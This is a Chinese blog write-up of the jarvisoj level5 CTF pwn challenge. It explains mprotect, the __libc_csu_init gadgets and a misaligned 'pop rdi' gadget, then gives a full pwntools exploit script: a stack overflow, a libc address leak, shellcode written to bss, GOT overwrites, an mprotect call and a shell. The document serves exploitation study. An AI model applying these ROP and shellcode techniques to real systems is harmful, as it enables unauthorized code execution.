pwn学习-jarvisoj-level5

mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。

mprotect()函数

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

int mprotect(const void *start, size_t len, int prot);

port:(读4,写2,执行1)

由于64位下函数传参前六个参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9 下,而一般不存在有关rdx的gadgets。

在学习了大佬的wp后学到了利用__libc_csu_init的通用gadgets。

通用gadgets __libc_csu_init 的使用。

__libc_csu_init函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行。

下面是__libc_csu_init函数的汇编代码。

.text:0000000000400650
.text:0000000000400650 ; =============== S U B R O U T I N E =======================================
.text:0000000000400650
.text:0000000000400650
.text:0000000000400650 ; void _libc_csu_init(void)
.text:0000000000400650                 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650                 push    r15
.text:0000000000400652                 mov     r15d, edi
.text:0000000000400655                 push    r14
.text:0000000000400657                 mov     r14, rsi
.text:000000000040065A                 push    r13
.text:000000000040065C                 mov     r13, rdx
.text:000000000040065F                 push    r12
.text:0000000000400661                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400668                 push    rbp
.text:0000000000400669                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670                 push    rbx
.text:0000000000400671                 sub     rbp, r12
.text:0000000000400674                 xor     ebx, ebx
.text:0000000000400676                 sar     rbp, 3
.text:000000000040067A                 sub     rsp, 8
.text:000000000040067E                 call    _init_proc
.text:0000000000400683                 test    rbp, rbp
.text:0000000000400686                 jz      short loc_4006A6
.text:0000000000400688                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d
.text:0000000000400699                 call    qword ptr [r12+rbx*8]
.text:000000000040069D                 add     rbx, 1
.text:00000000004006A1                 cmp     rbx, rbp
.text:00000000004006A4                 jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6                 add     rsp, 8
.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
.text:00000000004006B4
.text:00000000004006B4 ; ---------------------------------------------------------------------------

__libc_csu_init其中两端特殊的gadget可以给我们利用。

gadget位于0x400690和0x4006AA两处。

0x4006AA处依次将参数存入寄存器rbx,rbp,r12,r13,r14,r15。

.text:00000000004006AA                 pop     rbx
.text:00000000004006AB                 pop     rbp
.text:00000000004006AC                 pop     r12
.text:00000000004006AE                 pop     r13
.text:00000000004006B0                 pop     r14
.text:00000000004006B2                 pop     r15
.text:00000000004006B4                 retn

0x400690处依次将r13,r14,r15寄存器里的值放到rdx,rsi,edi处

.text:0000000000400690                 mov     rdx, r13
.text:0000000000400693                 mov     rsi, r14
.text:0000000000400696                 mov     edi, r15d

在这还隐藏了两段gadget,可以利用错位码来得到

如上的例子中0x4006B2、0x4006B4两句的字节码如下

0x41 0x5f 0xc3

意思是pop r15,ret,但是恰好pop rdi,ret的opcode如下

0x5f 0xc3

因此如果我们指向0x4006B3就可以获得pop rdi,ret的opcode,从而对于单参数函数可以直接获得执行(涨姿势了)

实现

现在我们有了mprotect改data段到可执行,利用通用gadgets __libc_csu_init传参,可以将shellcode写到bss段,调用mprotect修改bss段权限,然后执行shellcode拿到shell。

下面是exp:

from pwn import *

io = remote('pwn2.jarvisoj.com', 9884)
#io = process('../level3')
elf = ELF('../level3')
libc = ELF('../libc-2.19.so')

rop1 = 0x4006A6       #pop_rbx_rbp_r12_r13_r14_r15
rop2 = 0x400690        #mov rdx,r13; mov rsi,r14; mov edi,r15d

vul_fun = elf.symbols['vulnerable_function']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
libc_start = elf.got['__libc_start_main']
mprotect_got = elf.got["__gmon_start__"]
bss = elf.bss()
rdi = 0x4006b3
rsi_r15_ret = 0x4006b1

io.recv()
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(1) + p64(rsi_r15_ret) + p64(read_got) + p64(0) + p64(write_plt) + p64(vul_fun)
# write(1,read_got,#) ret vul_fun
# 利用write函数泄露read函数的真实地址
io.sendline(payload)

read_addr = u64(io.recvn(8))
libc_base = read_addr - libc.symbols["read"]
mprotect_addr = libc_base + libc.symbols["mprotect"]


print "read_addr ==> "+hex(read_addr)
print "libc_base ==> "+hex(libc_base)
print "mprotect_addr ==> "+hex(mprotect_addr)

io.recv()

payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(bss) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, bss, #) ret vul_fun
# 利用read函数向bss段写入数据
io.sendline(payload)

shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")
io.send(shellcode)
# 向bss段写入shellcode
io.recv()

bss_got = elf.got["__libc_start_main"]
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(bss_got) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, bss_got, #) ret vul_fun
# 利用read函数把shellcode的bss段的地址读入到.got.plt段去
io.sendline(payload)
io.sendline(p64(bss))
io.recv()



mprotect_got = elf.got["__gmon_start__"]
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(mprotect_got) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, mprotect_got, #) ret vul_fun
# 利用read函数把mprotect的地址读入到.got.plt段去
io.sendline(payload)
io.sendline(p64(mprotect_addr))


payload  = 'a' * (0x80 + 0x8) + p64(rop1) + "a" * 8 + p64(0) + p64(1)  + p64(mprotect_got) + p64(7) + p64(0x1000) + p64(0x600000)
                                                       #rbx     #rbp     #r12                #r13     #r14          #r15
                                                                                             #rdx     #rsi          #edi
# pop_rbx_rbp_r12_r13_r14_r15_ret
payload += p64(rop2) + "a" * 8 + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0) + p64(rop2)
'''
mov     rdx, r13
mov     rsi, r14
mov     edi, r15d
'''
# mprotect(0x600000,0x1000,7)
io.recv()
io.sendline(payload)

io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值